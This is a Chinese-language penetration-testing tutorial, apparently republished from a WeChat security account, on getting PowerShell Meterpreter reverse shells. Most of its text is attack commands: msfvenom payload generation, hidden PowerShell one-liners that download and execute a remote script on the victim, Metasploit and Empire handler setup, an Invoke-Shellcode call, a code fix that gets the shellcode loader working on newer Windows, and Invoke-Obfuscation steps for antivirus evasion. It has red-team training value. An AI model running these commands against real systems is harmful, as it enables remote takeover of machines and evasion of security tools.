Meterpreterpowershell爬坑指南
2019-09-17 11:28:44 Author: mp.weixin.qq.com(查看原文) 阅读量:87 收藏

PowerShell是运行在Windows操作系统上实现对系统以及应用程序进行管理自动化的命令行脚本环境,PowerShell需要.NET环境的支持,使命令行用户可以调用系统环境很多强大的功能,在渗透测试中后渗透阶段会用到payload进行反弹shell,powershell是一个不错的选择。

本次测试使用了windows子系统kali rolling

root@3sNwGeek:~# uname -a

Linux 3sNwGeek 4.4.0-17763-Microsoft #379-Microsoft Wed Mar 0619:16:00 PST 2019 x86_64 GNU/Linux

Windows中的kali子系统最初是纯净版,无冗余服务和工具,自己需要什么就搭建什么,比较轻便,可以减少vmware的端口转发和nat服务等网络疑难杂症,在windows应用商店下载就好了,非常方便。

服务搭建Metasploit过程aptupdate; apt install metasploit-framework一条命令即可。

搭建好Metasploit后默认会有msfvenom,可以使用msfvenom生成powershellpayload。

msfvenom-p windows/x64/meterpreter/reverse_tcp LHOST=xxx.xx.xxx.xxxLPORT=10086 -f psh-reflection --arch x64 --platform windows -fpsh-reflection -o test.ps1

生成test.ps1文件,将ps1文件保存到公网服务器中。(实战中通常可以使用加入ctf中常见的隐写手法)

在被攻击机执行命令:

powershell -windowstyle hidden -exec bypass -c "IEX (New-ObjectNet.WebClient).DownloadString(‘http://xxx.xx.xx.xxx/xx/test.ps1’);test.ps1"

开启msf进行接收shell

useexploit/multi/handler

setPAYLOAD windows/meterpreter/reverse_tcp

setLHOST 0.0.0.0

setLPORT 10086

exploit

结果测试在08server时可行,在高版本一点的windows中发现反弹一下就断开了。建议通常实战中都是搭好跟目标一样的环境,开始尝试杀软能不能过,payload是否能正常运行。

根据报错信息调试一番无果后尝试使用Empire了。

https://github.com/empireProject/Empire

安装完成后:

(Empire)> listeners[!]No listeners currently active(Empire:listeners) > uselistener meterpreter(Empire:listeners/meterpreter) > set Host 192.168.1.3(Empire:listeners/meterpreter) > execute[*]Starting listener 'meterpreter'[+]Listener successfully started!(Empire:listeners/meterpreter) > launcher powershell

Powershell只是生成了一个Invoker-shellcode函数,调用它使用如下命令:Invoke-Shellcode-Payload windows/meterpreter/reverse_http -Lhost IP地址-Lport 端口-Force

所以可以在靶机执行命令行执行:

C:\Users\Administrator>powershell-exec bypass -c "IEX (New-ObjectNet.WebClient).DownloadString('http://x’x’x’x’x/msfps1.txt');Invoke-Shellcode-Payload windows/meterpreter/reverse_http -Lhost 192.168.1.3 -Lport10088 -Force

但是在windows1904版本以上会有报错,但将99行处的

$GetProcAddress= $UnsafeNativeMethods.GetMethod('GetProcAddress')

修改为

$GetProcAddress= $UnsafeNativeMethods.GetMethod('GetProcAddress',[reflection.bindingflags] "Public,Static", $null,[System.Reflection.CallingConventions]::Any, @((New-ObjectSystem.Runtime.InteropServices.HandleRef).GetType(), [string]),$null)

修改后可以正常反弹shell。

chcp65001可以更正msf编码显示问题

既然能成功运行,就可以考虑混淆免杀的问题

powershell混淆可以使用Invoke-Obfuscation

https://github.com/danielbohannon/Invoke-Obfuscation

Import-Module./Invoke-Obfuscation.psd1;Invoke-Obfuscation

选择要混淆脚本的路径

setscriptpath C:\Users\Administrator\Desktop\msfps1.ps1

选择1,ascii编码

混淆完是这样的效果

powershell-windowstyle hidden -exec bypass -c "IEX (New-ObjectNet.WebClient).DownloadString('http://xxx.xx.xx.xx/enc.txt');Invoke-Shellcode-Payload windows/meterpreter/reverse_http -Lhost 192.168.1.123 -Lport10088 -Force

总结:

powershell兼容windows平台上其它调用,如可执行文件(exe),批处理bat和vbs等。只要学会分析脚本,懂得分析别人写的,然后自己写一个类似的也不是太难问题。本文只是用来生成meterpreter的payload,大家初步熟悉empire框架后可以深入学习其中真正强大的后渗透功能模块。

PowerShell相关的学习可以到合天网安实验室操作实验——PowerShell技术教程通过PowerShell技术教程,可以让大家对PowerShell基础知识有基本的掌握,运用PowerShell技术实现windows服务器的运维和安全防护。描下方二维码,或点击文末“阅读原文”可开始预览学习

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:[email protected]

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!

点击“阅读全文”,注册学习。

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652851975&idx=1&sn=53fdb662b01cbc988c37c17a4b356b4b&chksm=bd5933ca8a2ebadce982bf748a46ec86e231cdac019508f52b5ad564701d7131f694a092d4fd#rd
如有侵权请联系:admin#unsafe.sh